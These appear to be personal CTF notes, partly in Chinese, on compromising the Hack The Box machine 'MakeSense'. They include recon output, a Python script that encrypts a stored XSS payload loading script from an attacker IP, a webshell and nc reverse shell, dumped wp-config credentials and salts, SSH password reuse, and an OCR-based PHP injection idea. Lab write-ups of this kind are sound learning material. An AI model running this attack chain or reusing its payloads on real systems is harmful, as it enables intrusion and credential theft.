HTB-Season11-Medium-MakeSense
sudo nmap -sS -p- -T4 --min-rate 5000 -n -Pn -oA nmaps/makesense.htb 10.129.246.24
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
~/T/WhatWeb ❯ ./whatweb https://10.129.246.24:443 15:57:20
https://makesense.htb/ [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], Email[info@webagency.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.246.24], JQuery[3.7.1], MetaGenerator[WordPress 7.0], Script[application/json,module], Title[Agency LLC], UncommonHeaders[link], WordPress[7.0]
wordpress
feroxbuster -u https://10.129.246.24:443 -w ./SecLists/Discovery/Web-Content/raft-small-directories.txt -k
301 GET 9l 28w 318c https://10.129.246.24/scripts => https://10.129.246.24/scripts/
301 GET 9l 28w 329c https://10.129.246.24/wp-content/uploads => https://10.129.246.24/wp-content/uploads/
有 gitignore
# Python virtual environment
venv/
env/
ENV/
# Python cache
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
# Distribution / packaging
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
# PyInstaller
*.manifest
*.spec
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# IDEs
.vscode/
.idea/
*.swp
*.swo
*~
# OS
.DS_Store
Thumbs.db
# WordPress
wp-content/cache/
wp-content/database/
wp-content/upgrade/
wp-content/backup-db/
wp-content/advanced-cache.php
wp-content/wp-cache-config.php
# Model files - excluded from repository (download via scripts)
*.gguf
*.bin
*.safetensors
# AI models - only exclude the large model files, keep transformers.js library
wp-content/ai-models/models/
# HuggingFace cache (Whisper models auto-download here)
.cache/huggingface/
var webagency_ajax = {
"ajax_url": "https://makesense.htb/wp-admin/admin-ajax.php",
"nonce": "ec2bd70b71",
"theme_url": "https://makesense.htb/wp-content/themes/webagency",
"site_url": "https://makesense.htb"
};
//# sourceURL=whisper-wrapper-js-extra
| Action | 作用 |
|---|---|
| submit_contact_form | 提交联系表单,返回 post_id |
| save_voice_raw | 上传原始录音,返回 post_id |
| save_voice_results | 提交加密后的 {transcription, summary} |
/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js 内泄露ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'
// whisper-wrapper.js:463
async encryptPayload(payload) {
const encoder = new TextEncoder();
const data = encoder.encode(JSON.stringify(payload));
// Derive key from password using SHA-256
const keyMaterial = await crypto.subtle.digest(
'SHA-256',
encoder.encode(ENCRYPTION_KEY)
);
const key = await crypto.subtle.importKey(
'raw',
keyMaterial,
{ name: 'AES-GCM' },
false,
['encrypt']
);
// Generate random IV (12 bytes for AES-GCM)
const iv = crypto.getRandomValues(new Uint8Array(12));
// Encrypt
const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv: iv },
key,
data
);
// Combine IV + ciphertext (tag is appended automatically by WebCrypto)
const combined = new Uint8Array(iv.length + encrypted.byteLength);
combined.set(iv, 0);
combined.set(new Uint8Array(encrypted), iv.length);
// Convert to base64
let binary = '';
combined.forEach(byte => binary += String.fromCharCode(byte));
return btoa(binary);
}
甚至 js 中有 XSS 的注释
//whisper-wrapper.js:503
/**
* Map spoken words to their symbol equivalents for XSS injection
* @param {string} text - The text to apply mapping to
* @returns {string} Text with symbols replaced
*/
applySymbolMapping(text) {
if (!text) return '';
const mappings = {
'open bracket': '<',
'close bracket': '>',
'bracket': '<', // Default single 'bracket' to opening
'slash': '/',
'back slash': '\\',
'quote': "'",
'double quote': '"',
'open parenthesis': '(',
'close parenthesis': ')',
'parenthesis': '(',
'dot': '.',
'period': '.',
'comma': ',',
'colon': ':',
'semi colon': ';',
'semicolon': ';',
'equal': '=',
'equals': '=',
'dash': '-',
'hyphen': '-',
'underline': '_',
'underscore': '_',
'plus': '+',
'asterisk': '*',
'star': '*',
'ampersand': '&',
'percent': '%',
'dollar': '$',
'hash': '#',
'at': '@',
'exclamation': '!',
'question': '?'
};
let result = text.toLowerCase();
// Sort keys by length descending to match longer phrases first (e.g. "open bracket" before "bracket")
const sortedKeys = Object.keys(mappings).sort((a, b) => b.length - a.length);
for (const key of sortedKeys) {
// Use word boundary to avoid partial matches
const regex = new RegExp(`\\b${key}\\b`, 'gi');
result = result.replace(regex, mappings[key]);
}
// Clean up spaces around symbols that might have been introduced by transcription
// e.g. "< script >" -> "<script>"
result = result.replace(/\s*([<>\/()[\]{}.,:;=\-_+*&%$#!?])\s*/g, '$1');
return result;
}
初步攻击链:
1. 通过 submit_contact_form 获得一条可写入的记录 post_id
2. 构造恶意 payload,利用 js 中泄露的 ENCRYPTION_KEY 加密
3. 通过 save_voice_results 将加密后的恶意 payload 写入记录
4. 服务端自动解密并存储,等待 XSS 被触发
#!/usr/bin/env python3
import base64
import hashlib
import json
import os
from Crypto.Cipher import AES
ENCRYPTION_KEY = "bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"
xss_payload = '<script src="http://http://10.10.16.234:9999/xss.js"></script>'
payload_data = {"transcription": xss_payload, "summary": xss_payload}
key_material = hashlib.sha256(ENCRYPTION_KEY.encode("utf-8")).digest()
iv = os.urandom(12)
cipher = AES.new(key_material, AES.MODE_GCM, nonce=iv)
ciphertext, tag = cipher.encrypt_and_digest(json.dumps(payload_data).encode("utf-8"))
combined = iv + ciphertext + tag
encrypted_payload = base64.b64encode(combined).decode("utf-8")
print("[+] Encrypted payload:")
print(encrypted_payload)
静待 XSS 触发后 登录进 WordPress 后台
通过插件上传 webshell 弹回来 尝试横向
/tmp ❯ nc -lv 9998
bash: cannot set terminal process group (1408): Inappropriate ioctl for device
bash: no job control in this shell
www-data@makesense:/var/www/html/wp-admin$ cat /var/www/html/wp-config.php
cat /var/www/html/wp-config.php
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );
// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
$table_prefix = 'wp_';
define( 'WP_DEBUG', false );
define('AUTH_KEY', '%88$_8C0xYR s^9jz;F epY,CO|+Up#ZFIdRS&Gqd~5O/|<^7DmLtEm=SjV|jmWZ');
define('SECURE_AUTH_KEY', 'BD-p*m6hvWAGGBDg%_UC,|>};`C2<1uK>*x!h.Wf*dE;lbhaQVbHw+uc@6OfH>B%');
define('LOGGED_IN_KEY', ';2fn^sP8F`HK0g,8C&2ar})EifGz@,5Z1{IoDD+CzOT@3w[g~*aM-+=zWcxGBYk2');
define('NONCE_KEY', 's>>f8%soM5P=D$J9UXV-kF]lKZ92.KF%FDS#+! ;(A|C9kMWT(=A>99->-$$>UvU');
define('AUTH_SALT', 'V 0X(1n-@p&})rQpQB_mEax]D9Z*;iM+23&b]!53._;,).:Lj?1ky56*Vaa~KF(B');
define('SECURE_AUTH_SALT', '-{[x4pgl %S5{_s}nE!%H8,05AO_699M4_[mLt^tVC$Kh4;s|n8~O<CSE4#uPWN.');
define('LOGGED_IN_SALT', 'wUxZI^1#)4o)C1KJ8a5o-k{V3L)agi|fofV0SzuSUI;1k%1 !9Q!P@-*j8Y_j%$;');
define('NONCE_SALT', 'j #rMhd[olj2$j8|QAF7L8rR-D kf&gs,:oX4py6x?6V3|oJ?[b~h,[~3uhH.|X%');
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
define( 'WP_SQLITE_PLUGIN', true );
require_once ABSPATH . 'wp-settings.php';
www-data@makesense:/var/www/html/wp-admin$ ls /home
ls /home
admin
walter
找到 walter:JbhHDAEgXvri3 ssh登录后提权
穿出来看一下
复用密码登录 是一个画布OCR程序
对字体有要求 反正手写过不了
ocr正确识别后会响应
| 参数 | 作用 |
|---|---|
| ocr_id | ID |
| filename | 要保存的文件名 |
| output-text | 识别结果 |
构造php命令再保存就可以了